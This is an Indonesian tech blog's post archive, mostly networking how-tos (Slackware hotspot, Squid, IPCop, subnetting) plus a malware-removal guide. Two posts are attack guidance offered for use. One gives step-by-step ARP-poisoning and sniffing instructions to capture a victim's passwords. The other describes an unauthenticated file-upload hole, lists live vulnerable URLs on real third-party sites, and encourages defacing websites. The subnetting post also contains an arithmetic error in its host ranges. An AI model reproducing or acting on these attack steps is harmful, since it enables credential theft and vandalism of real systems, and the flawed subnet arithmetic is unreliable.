Yudha Pangestu's Blog

Setting AP (Access Point) Di slackware

2014-08-08T13:23:00.003+07:00

AP atau Access Point adalah sebuah metode untuk membagi jaringan, disini saya akan mencoba menjelaskan bagaimana cara membuat Mesin yang sudah terinfeksi dengan SLACKWARE untuk membagi jaringan via wireless adaptor.
bahan bahannya :

Hostapd (bisa di compile pake sbo silakan dapatkan slackbuild nya di slackbuilds.org)
Sebuah mesin (laptop,netbuk atau apalah itu yang sudah build in wireless adaptor [semua komputer jinjing yang bs wifi-an bs dipake disini]) yang mempunya wireless adaptor. [disini saya menggunakan notbuk saya asus eeepc 1215p dengan slackware-current ]
Sebuah client (semua mobile device yang mendukung wifi) [disini saya menggunakan 1 buah bb, dan 1 buah hp nokia e63]

Langsung meracik ramuan nya:

1. Konfigurasi HOSTAPD: Edit berkas /etc/hostapd/hostapd.conf

interface=wlan0
driver=nl80211
ssid=MyHotspot
country_code=ID
hw_mode=g
channel=1
auth_algs=1
ignore_broadcast_ssid=0
wpa=3
wpa_passphrase=test2011
wpa_pairwise=TKIP
rsn_pairwise=CCMP

Keterangan :
ssid=MyHotspot : silakan MyHotSpot di isi dengan nama sesuka anda
wpa_passphrase=test2011 : silakan ganti dengan password yang anda ingin kan

# dhcpd.conf
#
# Configuration file for ISC dhcpd (see 'man dhcpd.conf')
#
option domain-name-servers 208.67.222.222, 208.67.220.220;
default-lease-time 600;
max-lease-time 7200;
ddns-update-style none; ddns-updates off;
subnet 192.168.0.0 netmask 255.255.255.0 {
        range 192.168.0.200 192.168.0.229;
        option subnet-mask 255.255.255.0;
        option broadcast-address 192.168.0.255;
        option routers 192.168.0.1;
}

2. Start and Stop Hotspot Service: Buat berkas baru dengan nama rc.hotspot di /etc/rc.d
Silakan buat dan edit berkas ini :
# nano /etc/rc.d/rc.hotspot

#!/bin/sh
# Script to start/stop a hostapd-based access point
# edited for slackware distro
# Symbols for needed programs

IPTABLES=/usr/sbin/iptables
IFCONFIG=/sbin/ifconfig
DHCPD=/usr/sbin/dhcpd
HOSTAPD=/usr/sbin/hostapd

# Symbols for internal and external interfaces

NET_INT=wlan0
NET_EXT=ppp0

# IP address for the AP

INT_ADDR=192.168.0.1

case "$1" in
start)
        echo "Starting AP mode for $NET_INT at address $INT_ADDR"
        # Disable packet forwarding
        echo 0 > /proc/sys/net/ipv4/ip_forward
        # Stop any existing hostapd and dhcpd daemons
        killall hostapd
        killall dhcpd
        #Set up forwarding
        $IPTABLES -t nat -A POSTROUTING -o $NET_EXT -j MASQUERADE
        $IPTABLES -A FORWARD -i $NET_EXT -o $NET_INT -m state 
--state RELATED,ESTABLISHED -j ACCEPT
        $IPTABLES -A FORWARD -i $NET_INT -o $NET_EXT -j ACCEPT
        # Enable packet forwarding
        echo 1 > /proc/sys/net/ipv4/ip_forward
        # Get the internal interface in the right state
        $IFCONFIG $NET_INT down
        $IFCONFIG $NET_INT up
        $IFCONFIG $NET_INT $INT_ADDR
        # dhcpd needs to have a leases file available - create it if needed
        if [ ! -f /var/state/dhcp/dhcpd.leases ]; then
                touch /var/state/dhcp/dhcpd.leases
        fi
        # Bring up the DHCP server
        $DHCPD -cf /etc/dhcpd.conf $NET_INT
        # Bring up hostapd
        $HOSTAPD -B -P /var/run/hostapd.pid /etc/hostapd/hostapd.conf
        ;;
stop)
        echo "Stopping AP mode on $NET_INT"
        # Stop hostapd and dhcpd daemons
        kill -INT $(cat /var/run/hostapd.pid)
        kill -INT $(cat /var/run/dhcpd.pid)
        ;;
*)
        echo "Usage: $0 {start|stop}"
        exit 1
        ;;
esac

Jika anda ingin saat booting slackware anda script ini aktif maka masukan ini di rc.local
#nano /etc/rc.d/rc.local

# Start hotspot service
if [ -x /etc/rc.d/rc.hotspot ]; then
 . /etc/rc.d/rc.hotspot start
fi

Tahap selanjutnya adalah membuat file rc.hotspot menjadi executable dengan cara
#chmod +x /etc/rc.d/rc.hotspot
Jika sudah silakan jalankan hotspot anda
#/etc/rc.d/rc.hotspot start

Selesai

Cara Hack Password Wireless/Wifi

2013-06-15T15:14:00.002+07:00

Sebelumnya anda Harus mendownload Tool-tool di bawah ini :

Cain and Abel (Download Disini)
Wireshark (Download Disini)

Oke Berikut langkah-langkahnya :
Menggunakan Cain & Abel :

Buka Program Cain and Abel anda
Klik pada configure (Pada bagian Siniffer pilih Ethernet Card yang anda gunakan)
Klik apply
Kembali ke menu utama disana terdapat 8 tab yaitu sniffer,decoder,network dll. pilih tab Sniffer
Untuk Mengaktifkan Sniffer pilih tombol Start/Stop Sniffer yang ada pada bagian atas tab (di dekat icon folder)
Apabila anda berada pada jaringan Hub maka anda sudah bisa mengetahui Passwordnya dengan mengkelik tab password pada bagian bawah tabelnya (Bila anda ternyata ada di jaringan switch, ini membutuhkan perjuangan lebih)
Pilih tab APR yang berada di bagian bawah list tabel
Aktifkan APR yang tombolonya ada di sebelah kanan start/stop Sniffer (Dan ini tidak dijamin berhasil karena manage dari switch jauh lebih lengkap&secure dari hub)
Setelah itu pada tab APR akan terdapat 2 tabel list yang kosong ,klik list yang paling atas lalu pilih Tombol + yang berada di sebelah atas tab sniffer.
Hubungkan antara alamat ip korban dan alamat ip gateway server (untuk mengetahui alamat gateway server klik start pada komp anda pilih run ketik cmd lalu ketik ipconfig pada command prompt)
Setelah itu baru aktifkan APR, dan semua data dari komp korban ke server dapat anda lihat dengan cara yang sama.

Menggunakan Wireshark :

Jalan Program Wireshark anda
Tekan Ctrl + K pada keyboard atau Klik Capture lalu Option
Pilih Ethernet card yang anda gunakan (Pastikan anda mencentak capture Packet in promisous mode)
Klik start
Apabila anda sudah yakin ada password yang terjaring maka anda bisa mengklik tombol stop
Untuk menganalisis datanya klik kanan pada data yang akan di analisis lalu pilih Follow TCP stream. Untuk cara menganalisis datanya saya tidak akan menjelaskannya karena saya juga tidak bisa.
Selesai

Cara diatas hanya berlaku pada jaringan Hub saja bukan jenis jaringa switch, karena pada jaringan switch lebih rumit dan secure bila dibandingkan dengan jaringan hub.
Untuk Hasil yang lebih maksimum anda bisa

Macam-macam jenis akses WIFI :

Secure, artinya untuk dapat mengakses kita harus memasukkan password
Uunsecure, artinya kita bisa mengakses wifi tanpa harus mengisikan password, jadi langsung Connect
Yang unsecure, kadang juga tidak bisa mengakses internet walau bisa konek ke jaringan. Hal ini karena ada pengaturan IP. Untuk server yang menggunakan ip dinamik, maka kita tidak usah pusing dengan ip, karena ip sdh otomatis dimasukkan oleh server ke klien (computer kita).Untuk server yang menggunakan static ip, maka kita harus secara manual memasukkan ip untuk computer/laptop kita.

Jika kita bisa connect ke wifi tp tidak bisa akses internet, cobalah ubah ip laptop kita. Caranya :

klik kanan icon wifi di bawah kanan layar
pilih properties
pilih Advanced
pada bagian connection pilih Internet Protocol (TCP/IP)\
pilih static ip
pada ip isi : 192.168.0.212
pada Net Mask isi : 255.255.255.0
pada getway isi : 192.168.0.1
pada dns server isi : 192.168.0.1
klik ok.

Micro File Manager Shell Upload Vulnerability

2013-05-09T21:29:00.002+07:00

Selamat tengah malam..

Hehehe mau posting lagi masalah deface biar kalian pinter hahaha

Langsung aja yaa, simak ini.

Kelemahannya adalah pada fungsi upload ini, tidak diperlukan adanya autentikasi. Sehingga siapapun yang mengakses bisa melakukan hal yang di inginkan untuk menambah, merubah bahkan berbahanya lagi menghapus.

Dork: anything you want

Live demo:

http://www.arthritis.org/cms/js/mfm.php

http://www.ebratmuseum.ir/mfm_013/mfm.php?field=

Preview: Klik file yang sukses diupload.

Screenshoot contoh:

Mudah kan?? Saya tidak pernah mempersulit tutorial yang saya buat, biasakan deface website itu tanpa tools biar skill kita terasah, dan tidak menjadi lamer -_- malu maluin aja.

Yasudah sekian, Wassalamualaikum

Cara Menjadi Hacker & Apa Yang Dipelajari?

2013-04-26T11:41:00.002+07:00

Kali ini saya ingin berbagi mengenai bagaimana cara menjadi hacker dan apa yang harus di pelajari?

Pertanyaan ini sering sekali ditanyakan diberbagai kesempatan oleh banyak orang diberbagai komunitas yang masih mencari cara terbaik untuk menjadi seorang hacker.

Yang akan saya bahas pertama kali adalah Bagaimana Cara Menjadi Hacker. Caranya adalah sebagai berikut:

1. Persiapkan Jiwa

Persiapan jiwa ini adalah hal yang paling utama dalam menjadi seorang hacker, adapun hal yang perlu dipersiapkan adalah:

Mental dan psikologi: hal ini dibutuhkan karena seorang hacker akan mendapatkan banyak cobaan yang sering kali membuat down dan kadang membuat lupa diri. Seperti caci maki, hinaan, sanjungan dan perkataan manis.
Kesabaran, ketabahan dan keikhlasan: hal ini merupakan kunci kesuksesan seorang hacker dimana dengan hal ini akan membuat seorang hacker tidak akan pernah menyesali setiap tindakan yang diperbuat.
Semangat, usaha, kemauan, pantang menyerah dan kerja keras: hal ini dibutuhkan seorang hacker untuk berjuang menggapai yang terbaik didalam kehidupan yang dijalani, karena menjadi seorang hacker tidak mudah dan butuh waktu yang cukup untuk memahami setiap seluk beluk ilmu pengetahuan.
Percaya dan berserah diri hanya kepada Tuhan YME: hal ini menjadi pondasi paling penting dan salah satu motto yang digunakan oleh kami yaitu “Tuhan Hanya Engkau Yang Esa” dimana dengan hal ini semua akan dikembalikan kepada Sang Pencipta dan menyatakan bahwa Ilmu Pengetahuan itu Tanpa Batas.

2. Persiapkan Raga

Persiapan raga merupakan langkah kedua yang perlu dilakukan oleh seorang hacker, dimana raga harus dibangun sedemikian rupa agar bisa mencapai target yang diingikan. Hal yang perlu dipersiapkan adalah:

Kesehatan dan kebugaran: hal ini diperlukan agar seorang hacker tetap fit dalam menghadapi setiap tantangan dan perjuangan dalam mempelajari dan mencapai target yang sudah ditetapkan serta kemampuan memory, daya pikir otak, nurani, panca indra bisa dimaksimalkan.
Aktif Olahraga: hal ini diperlukan untuk menunjang latihan tubuh agar terhindar dari berbagai ancaman. Misalkan olahraga beladiri untuk melindungi diri ketika ada ancaman, fitness agar tubuh tetap aktif dan sehat terjaga.

3. Persiapkan Perbuatan

Persiapan perbuatan adalah langkah ketiga untuk menjadi seorang hacker, dimana langkah yang perlu dijalani adalah langkah positif dalam kehidupan, senantiasa beramal dan beribadah. Mengurangi, menghindari dan meninggalkan hal-hal negatif adalah perjuangan panjang dan paling berat untuk seorang hacker.

Belajar, Berbagi, Senantiasa Update dan Meningkatkan Kemampuan: hal ini menjadi pondasi paling penting dan salah satu motto yang digunakan oleh kami untuk bersama-sama meningkatkan kualitas dan kuantitas kemampuan yang dimiliki.
Saling Tolong Menolong, Persahabatan, Hindarkan SARA: hal ini diperlukan agar seorang hacker bisa berkontribusi dalam kehidupan yang global dimana semua sangat universal. Dengan menjadi seorang hacker maka diharuskan memiliki pandangan yang luas sehingga bisa bertindak dengan netral, baik, adil dan bijaksana.

Setelah persiapan diatas sudah terpenuhi, tinggal apa yang perlu kita pelajari untuk menjadi seoranghacker?

Ada 5 hal penting yang perlu dipelajari oleh seorang hacker:

1. Logika (Logic)

Seorang hacker harus senantiasa menggunakan logika dimana hal ini menjadi sebuah pertimbangan akal untuk menghasilkan sesuatu yang baik, benar dan tepat. Manusia diberikan kelebihan oleh YME untuk hal ini, maka manfaatkan secara maksimal.

Logika yang sering digunakan dalam bahasa pemrograman adalah OR, AND, NOT, XOR, NAND, dll. Beberapa program tersusun atas komponen program IF..THEN…ELSE, FOR..TO..DO, WHILE , CASE..OF dan lain-lainnya.Logika ini kemudian akan dikolaborasikan dengan matematika untuk menghasilkan sesuatu yang bernilaiBenar (True) atau Salah (False) seperti (<, >, =, +, -, dll).

2. Perangkat Keras (Hardware)

Seorang hacker harus mengetahui seluk beluk perangkat keras, karena perangkat keras merupakan dasar dari pembentukan teknologi. Perangkat keras disini adalah mengerti seluk beluk pengkabelan, chip, mainboard, switch, hub, elektronika, dll. Apabila seorang hacker sudah memahami perangkat keras, maka akan lebih mudah dalam membuat instruksi untuk perangkat lunaknya. Pernah melihat James Bond & Mission Impossible? Nah, diluarsana banyak orang luarbiasa yang memahami hardware sangat dalam.

Yang perlu dipelajari lebih dalam dari perangkat kerasa adalah komponen pada bagian-bagian berikut:

Input Device (Unit Masukan: Keyboard, Mouse): media untuk memasukkan data dari luar ke dalam suatu memori dan processor.
Process Device (Unit Pemrosesan: CPU, Microchip,RAM): media untuk mengolah inputan guna menghasilkan informasi yang diperlukan.
Output Device (Unit Keluaran: Monitor, Scanner, Speaker): media untuk mengeluarkan hasil informasi.
Backing Storage ( Unit Penyimpanan: Harddisk, Disk): media untuk melakukan penyimpanan data dan informasi.
Periferal ( Unit Tambahan: USB, Modem): media tambahan yang digunakan untuk mendukung proses kerja perangkat keras.

3. Perangkat Lunak (Software)

Seorang hacker akan mempelajari software sebagai instruksi kepada hardware untuk melakukan perintah-perintah yang diinginkan. Software ini dibangun dari berbagai bahasa, dimana bahasa yang perlu dipelajari dalam bahasa mesin adalah 0, 1 dan analog. Sebagai dasar adalah bahasa pemrograman adalah assembly. Urutan yang tepat sebagai berikut saya kutip dari wikipedia:

Bahasa Mesin, yaitu memberikan perintah kepada komputer dengan memakai kode bahasa biner, contohnya 01100101100110.
Bahasa Tingkat Rendah (ASM) atau dikenal dengan istilah bahasa rakitan (bah.Inggris Assembly), yaitu memberikan perintah kepada komputer dengan memakai kode-kode singkat (kode mnemonic), contohnya MOV, SUB, CMP, JMP, JGE, JL, LOOP, dsb.
Bahasa Tingkat Menengah (C), yaitu bahasa komputer yang memakai campuran instruksi dalam kata-kata bahasa manusia (lihat contoh Bahasa Tingkat Tinggi di bawah) dan instruksi yang bersifat simbolik, contohnya {, }, ?, <<, >>, &&, ||, dsb.
Bahasa Tingkat Tinggi (HTML, XML, JSP, JAVA, VB, PASCAL, DELPHI, C#, F#, PHP, ASP, SQL, ORACLE, PYTHON, PERL, dll) yaitu bahasa komputer yang memakai instruksi berasal dari unsur kata-kata bahasa manusia, contohnya begin, end, if, for, while, and, or, dsb.

Sebagai seorang hacker, semakin kompleks mengetahui bahasa pemrograman maka akan semakin mudah dalam memolak balikkan software, mencari celah, memperbaiki, memberikan solusi untuk memecahkan masalah dan bahkan membangun sebuah aplikasi baru.

Kuncinya adalah semakin dalam mengetahui bahasa mesin, akan lebih mudah dalam berkomunikasi dengan mesin.

Selain mengenal bahasa pemrograman, yang perlu dipelajari adalah sistem yang dibangun dari software yang sudah ada saat ini, sebagai salah satu contoh yaitu Sistem Operasi: *Nix, Linux, FreeBSD, SunOS, Windows, dll.

4. Jaringan (Networking)

Seorang hacker perlu mengetahui dan mendalami jaringan elektronik dan komputer yang merupakan bagian penting untuk dipelajari, karena jaringan inilah yang menghubungkan antara satu dengan yang lainnya seperti sebuah jaring laba-laba yang tidak terputus.

Ketika kita sudah memahami jaringan maka akan cukup mudah dalam melakukan setting, konfigurasi dan dapat memegang kendali terhadap jaringan. Didalam jaringan inilah alur komunikasi bergerak antara satu perangkat ke perangkat yang lainnya. Pada jaringan inilah banyak protokol komunikasi yang digunakan sehingga perlu juga untuk dipelajari seperti TCP, HTTP/S, FTP/S, dll. Apabila jaringan berada didalam kendali, maka seluruh informasi yang mengalir didalamnya akan sangat mudah untuk didapat, ditambah, diubah, bahkan untuk dihapus sekalipun.

5. Kriptografi (Cryptography)

Seorang hacker memiliki tantangan dalam hal kriptografi, karena saat ini hampir seluruh transaksi komunikasi sudah menggunakan cryptography sebagai jembatan pelindung. Dengan modal logika yang matang maka cryptography dapat lebih mudah untuk dipelajari walaupun dalam struktur yang sulit. Seorang hacker memerlukan pengetahuan kriptografi untuk menjaga aspek keamanan informasi seperti kerahasiaan informasi, keabsahan informasi, integritas informasi, serta autentikasi informasi dan bahkan untuk mendapatkan dan menerjemahkan informasi itu sendiri.

Ada banyak model kriptografi yang saat ini sudah banyak berkembang yaitu MD5, SHA, DES, AES, Base64, IDEA, BLOWFISH, RSA, Dll. Kriptografi ini banyak digunakan untuk konfigurasi, penyimpanan data dalam database, dan komunikasi transaksi pada jaringan.

Dengan memahami dan mempelajari kelima unsur diatas, saya rasa anda menjadi seorang hacker yang handal.

Niat baik, berdoa, beretika, tekad yang kuat, selalu optimis dan ketekunan yang tak pernah berakhir.
Banyak bertanya dan terus menyimak, terutama kepada ahlinya, kemudian ambil hikmah untuk dipelajari dan dikerjakan.
Banyak begadang untuk belajar, mengoprek alat elektronik, komputer dan hal-hal mengasyikkan lainnya.
Cari referensi ilmu pengetahuan sebanyak-banyaknya baik dari buku, jurnal, ebook, dll.
Lakukan dengan sengaja merusak gadget dimulai dari dengan yang sederhana, kemudian memulai untuk memperbaiki gadget tersebut.
Belajar teknik sosial engineering untuk mengetahui dan memanfaatkan manusia, belajar reverse engineering untuk mengetahui dan memanfaatkan komputer.
Memiliki modal, kemauan yang kuat, berani gagal dan berani bertindak untuk melakukan penelitian.
Jangan pernah malas untuk membaca artikel teknologi, berjalan-jalan mengelilingi blog (blogwalking), belajar jangan terpaku pada salah satu forum saja.
Berani melakukan instalasi beberapa OS pada komputer pribadi, misal Linux, Windows, VWWare, FreeBSD, dll. Kemudian belajar bahasa pemrograman dan scripting yang non-formal (Perl, Python, Ruby, dll).
Persiapkan peralatan pribadi, dan peralatan lainnya yang didapat dari sumber lain untuk memulai proses hacking.
Rajin berdoa kepada Tuhan YME dan berimajinasi yang penuh dengan ilusi agar mendapatkan inspirasi.
KISS: Keep IT Simple Stupid, menjadikan IT sebagai sesuatu yang mudah seperti kegiatan sehari-hari.
Wajib untuk mengenali batasan dan kemampuan diri, agar bisa mengukur apa yang perlu untuk dilakukan dan tidak memaksakan sesuatu.
Jangan bermimpi terlalu tinggi, karena saat jatuh akan terasa parah sakitnya.
Jangan terlalu berdiam diri, tetapi tetap terus berinteraksi dengan rendah hati.
Belajar berbicara dan berinteraksi dengan komputer dengan mempelajari bahasa yang digunakan untuk instruksi komputer.
Jangan mudah menyerah saat dihina, dipermainkan, dibohongi, terus percaya diri dan selalu semangat.
Persiapkan otak yang fun, agar tidak terlalu penat, selalu ceria dan bahagia dalam beraktifitas.
Belajar IT basic merupakan hal yang penting, daripada sekedar menggunakan software yang sudah ada saat ini untuk kegiatan hacking.
Jangan lupa istirahat, jangan lupa makan, jangan lupa minum, jangan lupa cemilan dan jangan lupa olah raga.
Belajar untuk memahami concept, jangan copy paste sembarangan dan mulai dari hal yang paling kecil terlebih dahulu.
Mengerti cara kerja hardware dan software sehingga menjadi selaras sejalan, berani merubah nya bisa juga mengembalikan nya.
Sukai dan cintai dulu komputer, masuk keseluk-beluknya kemudian terus berlatih, perbanyak teman dan memecahkah masalah bersama-sama.
Belajar tidak bergantung kepada yang hanya disekolah saja, belajarlah dari dunia diluar sekolah dan ulangi hal-hal yang sama untuk mempermudah dan menjadi kebiasaan.
Belajar dasar-dasarnya dari situs http://yudhapangestu11.blogspot.com/ kemudian lanjut ketingkat yang lebih tinggi lagi, apabila tidak ada di http://yudhapangestu11.blogspot.com/ maka carilah dari search engine seperti google, bing, yahoo, baidu, yandex, allwebsite, dll.

Semoga apa yang sudah dibagi ini bisa bermanfaat untuk semua orang yang ada di seluruh nusantara khususnya dan yang ada dibelahan dunia manapun.

Dan jangan lupa apabila teman yang bertanya bagaimana cara menjadi hacker, silakan langsung diarahkan kesini saja ya.

Thanks & goodluck for all. Enjoy & Eat It!

Cara Menghapus / Menghilangkan Autolike

2013-04-26T11:37:00.000+07:00

Kali ini kami ingin berbagi informasi mengenai cara Menghapus Auto Like atau Menghilangkan Autolike atau Menghindari Autolike atau memulihkan akun yang sudah terinfeksi malware ‘Autolike’ tersebut, dikutip dan diperoleh dari detikcom dan Vaksincom,

Jangan lupa wajib membaca juga setelah sebelumnya berbagi artikel mengenai cara Menghapus Virus di Facebook, Menghapus Malware Facebook, Menghapus Spam Facebook, Menghapus Scam Facebook, Menghapus Phising Facebook, Menghapus Spyware Di Facebook, Delete Spam Facebook, Delete Virus Facebook, Delete Malware Facebook, Delete Spyware Facebook, Delete Phising Facebook, Delete Scam Facebook.

Lanjut artikelnya berikut:

Program jahat yang baru-baru ini beredar di Facebook makin meresahkan para pengguna di Tanah Air.Berikut cara untuk menghindari atau memulihkan akun yang sudah terinfeksi malware ‘Autolike‘ tersebut.

Program jahat yang menawarkan like pada setiap status pengguna makin gencar beredar. Menurut catatan vaksincom, sedikitnya 2-3 ribuan akun yang sudah terinfeksi oleh program jahat tersebut.

Berikut adalah beberapa contoh varian spam yang merajalela di facebook

Untuk menghindari serangan malware ini sejatinya cukup mudah. Penguna hanya perlu menghindari ajakan yang menawarkan fitur ‘autolike’ atau program lain yang sebenarnya tidak disediakan oleh Facebook.

Tapi untuk yang sudah terlanjur terjebak, berikut solusinya:

1. Login ke akun Facebook Anda.

2. Masuk ke menu [Privacy Settings] dengan mengklik [*].

3. Pilih [Privacy Settings] untuk membuka menu ‘Privacy Settings and Tools‘.

Seperti gambar di bawah ini:

4. Klik [Apps] pada menu sebelah kiri untuk membuka menu ‘App Settings‘.

5. Seperti diketahui sebelumnya bahwa malware jahat ini menggunakan aplikasi gadungan bernamaXperia Smartphone from Sony, untuk memulihkan akun yang terinfeksi maka aplikasi tersebut harus dihilangkan terlebih dahulu.

6. Pada menu App Settings, pada aplikasi dengan nama ‘Xperia Smartphone From Sony‘ klik tanda silangdan jika mendapatkan layar konfirmasi, ingat untuk centang / tick pada kotak kecil dengan pilihan ‘Delete all your Xperia Smartphone from Sony activity on Facebook‘ dan klik tombol [Remove].

7. Nah, setelah semua itu dilakukan, maka seluruh postingan yang dilakukan oleh aplikasi gadungan tersebut akan segera dihapus. Para pengguna pun sudah terbebas dari malware yang mengganggu itu.

8. Anda bisa menggunakan cara diatas untuk menghilangkan aplikasi-aplikasi lain yang terindikasi malware / virus / spam / phising / scam, silakan remove / hapus saja aplikasi-aplikasi lain tersebut yang tidak anda kenali atau tidak anda ketahui atau tidak anda inginkan.

Selamat mencoba! Semoga berhasil

Menggunakan Squid Untuk Mempercepat Koneksi Speedy

2013-04-26T11:32:00.002+07:00

Sebenarnya ini bukan untuk mempercepat koneksi kamu, karena koneksi tergantung paket yang kamu pilih + jarak antara rumah dengan kantor speedy terdekat, karena ADSL alias semakin jauh ya semakin lelet (kecuali make repeater di kotamu) hehe :p

Nah gunanya squid ini adalah untuk menyimpan cache dari file-file statis yang sering kita buka, seperti banner, file css style, warna dll. Karena perubahan file statis ini jarang terjadi (kecuali webmasternya masih muda *al*y). Jadi disamping untuk memangkas waktu nunggu kita, juga bisa menghemat bandwith internet. Yuk cari tau bagaimana Menggunakan Squid untuk Mempercepat Koneksi Speedy

*Tutor ini untuk squid yang ada di PC itu sendiri, bukan squid yang dipasang terpisah

Download squid untuk Windows terlebih dahulu di sini -> http://squid.acmeconsulting.it/download/squid-2.7.STABLE8-bin.zip
Setelah download, extract ke main drive C:\ , dan nanti bakal menjadi c:\squid
Masuk ke folder c:\squid\etc di sana ada file yg semuanya berakhiran .default , hilangkan/rename .default itu di semua file.
Klik file squid.conf, buka dengan notepad dan kita akan edit sedikit isinya untuk menyesuaikan dengan settingan komputer kita.
Cari keyword http_port 3128 (ctrl+f) , pastikan ada di file squid.conf nya.
Kemudian cari visible_hostname, tambahkan visible_hostname localhost setelah #none (Tanpa Pagar) atau replace #none juga bisa.
Lalu kita akan menambahkan DNS yang akan digunakan, cari dns_namservers , tambahkan setelah / replace #none jadi dns_namservers 8.8.8.8 8.8.4.4
IP dns yang digunakan bisa bervariasi, disini saya menggunakan dns google. Anda bisa menggunakan DNS dari speedy, atau dari opendns 208.67.222.222 & 208.67.220.220
Note! Bagi pengguna Windows 7 atau Vista matikan terlebih dahulu UACnya di control panel menjadi Never Notify, setelah itu restart.
Setelah itu kita akan instal squid , masuk ke cmd, kemudia ketik c:\squid\sbin\squid.exe -z atau bisa juga sih change directory dulu arahin ke sbin -> cd C:\squid\sbin\ .
Lanjut pada cmd, ketik c:\squid\sbin\squid.exe -d l -D , akan muncul proses squid, langsungctrl+ c saja untuk interup proses tsbt.
kemudian ketik c:\squid\sbin\squid.exe -i dan c:\squid\sbin\squid.exe -O -D
Selanjutnya nyalakan service squid, ctrl + R untuk masuk ke run, dan ketik services.msc, cari service bernama squid, kemudian klik tombol play (run) di taskbar.
Yak proses instal squid sudah selesai, sekarang tinggal setting di browser. Pada Google chrome, masuk ke menu Settings, kemudia scroll ke bawah, klik Show advanced settings, di bagianNetwork, klik change proxy settings. Isikan seperti dibawah ini.
pada Firefox

Installasi IpCop Untuk Web Proxy External Mikrotik

2013-04-26T11:31:00.003+07:00

Sebuah Sytem berbasis Linux yang diperuntukan menangani urusan transmit data pada sebuah Jaringan Lan dan Komputer, membutuhkan bahan bahan sebagai berkut :

1. CD Instalasi ( tidak besar file nya berbentuk .iso ) download di situs officialnya saja ( situs instal ipcop official ) kemudian Burn file iso tersebut ke CD kosong sehingga anda mendapatkan CD berisi Program System IpCop tersebut.

2. Seting Pc yang hendak di instal IpCop tersebut dengan Boot prioriti ke CD drive nya. Supaya Komputer tersebut Booting melaluiCD drive anda

3. Jika benar dan lancar akan ada tampilan di monitor Pc anda seperti ini

Click this bar to view the full image.

installasi Icop Mikrotik

silahkan tekan ENTER

4. Anda diminta untuk memilih sumber Instalasi, maka kita pilih sumbernya dari CDRom/USB-Key

5. Jika cara instal IpCop ini merupakan Fresh Instal (Baru), pilih lah SKIP untuk proses Restore, karena tidak ada yang perlu di Restore

6. Setelah proses pengkopian pada tahan isntal ipcop selesai seting pertama dari system IpCop ini adalah menetukan NIC atau Network Adapter yang terpasang di Komputer tersebut

pilih PROBE untuk mencari Hardware Network Adapter . dan SELECT untuk memilih NIC yang hendak di seting pada GREEN interface

7. Setelah ditemukan driver yang sesuai, kita tinggal masukan IP Address & Netmask yang akan kita gunakan. Pada gambar dibawah setting Green Interface digunakan untuk ke LAN.

8. Setelah selesai maka hasil nya seperti ini

9. Setingan selanjutnya Seting Keyboard Maping, Time Zone, bisa diseting ke Default

10. Seting domain dan host bisa anda isi menurut kebutuhan

11. ISDN configuration menu, jika kita menggunakan koneksi internet ISDN, kita bisa konfigurasi disini atau jika tidak, bisa kita disable untuk koneksi ISDN ini. Pada step ini saya pilih diasble ISDN.

12. Network configuration menu. Nah pada menu Network Configuration type tekan Enter.

dan pilih GREEN + RED

13. Pilih ‘Drivers and Card Assignment’ untuk setup interface RED. Pastikan driver untuk interface RED ini sesuai, biasanya dilakukan probe secara otomatis dan akan muncul driver NIC yang belum dialokasikan. Klik OK agar instal IPCop mencari sendiri driver untuk RED interface.

14. Langkah berikutnya adalah pilih “Address Settings” dan pilih RED Interface, tekan OK, kemudian IPCOP akan meminta anda memilih interface yang akan di config, pilih RED, dan tekan Ok.

Pada pilihan dibawah terdapat Static, DHCP, PPPOE,PPTP. Bila anda mendapatkan ip publik dari ISP anda, silahkan pilih static kemudian masukkan IP address dan netmasknya, supaya bisa di sinkronkan dengan mesin mikrotik nantinya dan tekan OK.

Masukan Primary DNS, Secondary DNS dan gateway dari mesin Mikrotik . Selanjutnya tekan Ok!

menginput password untuk root, admin dan backup. User root digunakan untuk akses instal IPCop melalui putty, sedangkan admin untuk mengakses web GUInya. Sedangkan password backup berguna
untuk membackup ipcop

Sekian dan terimakasih :)

Cara Gampang Hitung IP Address

2013-04-26T11:25:00.004+07:00

mungkin ini sudah basi atau bagi yg sudah bisa untuk menghitung IP bisa di skip lah ya .

Silahkan di simak

Cara Gampang Hitung IP Address

cara gampang hitung ip address

Sebelumnya, Posting kali ini untuk cara gampang hitung ip address bisa saya pastikan tidak menggunakan bit-bit, Tetapi, ada tapinya nih, tidak salah untuk mengerti skema IP v 4 ini dalam hitungan bit, karena apa yang akan saya jabarkan dasarnya dari bit ini.

Note! : Bagi yang sudah paham bisa langsung scroll menuju Cara Gampang Hitung IP Address di bawah penjelasan ini.
Oke kita mulai dasarnya, contoh ip (private) adalah : 192.168.1.1, ip di atas bisa di jabarkan dalam bentuk bit sebagai berikut :

192 = 11000000
168 = 10101000
1 = 00000001

Kita Mulai Cara Gampang Hitung IP Address

Note! : contoh kasus adalah mencari , NA (Network Address) , BA (Broadcast Address), Usable Host (Host yang bisa digunakan), Subnet Mask dah itu aja.

1. IP : 202.30.2.58 / 26

2. IP : 10.10.5.17 /25

3. IP : 111.125.30.16 / 28

Dah 3 aja dulu . Sekarang time to menjelaskan caranya, ini bener-bener caranya saja lho, bukan cara untuk menjawab soal di atas. Soal di atas nanti di cucokan sama jawaban
~~kalian~~ Anda.

Pertama dan yang paling perrrtama adalah, harus hafal (atau tulis di tangan) lompatan Subnet Masknya (ga tau istilah aslinya ya), lompatannya adalah

128, 192 , 224, 240, 248, 252, 254, 255

Dimana setiap lompatan mewakili subnetnya masing-masing dan bitnya (ada 8 bit total). Nah mulai gampang kan . Angka dari lompatan ini berlaku untuk semua oktet dalam IP address versi 4 ini. Baik berupa /8 hingga /30 semua berlaku. Biar gampangnya kita ambil contoh untuk no. 1

- IP : 202.30.2.58 / 26 = Berarti menggunakan lompatan 192 di mana subnet masknya adalah 255.255.255.192 bisa di artikan juga lompatan sebagai = subnet mask

Sekarang kita hitung NA (network addressnya) : rumus yang biasa saya terapkan untuk diri sendiri :p adalah : ujung host (254) – subnet yg di hitung (192) jadi hasilnya adalah

254 – 192 = 62 , nah 62 ini adalah jumlah host yang bisa di gunakan mulai dari 1 – 62 , 64 – 125 dst , nah sudah mulai cerah kan :p, setelah dapat 62 ini kita lihat soalnya lagi, 202.30.2.58

berarti dia masih termasuk di range 1 – 62 di mana NAnya adalah 202.30.2.0 dan Broadcastnya (BA) adalah 202.30.2.63

Usable hostnya ? Dari 202.30.2.1 - 202.30.2.62

Mudah kan? Bagus sekali

CARA GAMPANG HITUNG IP ADDRESS

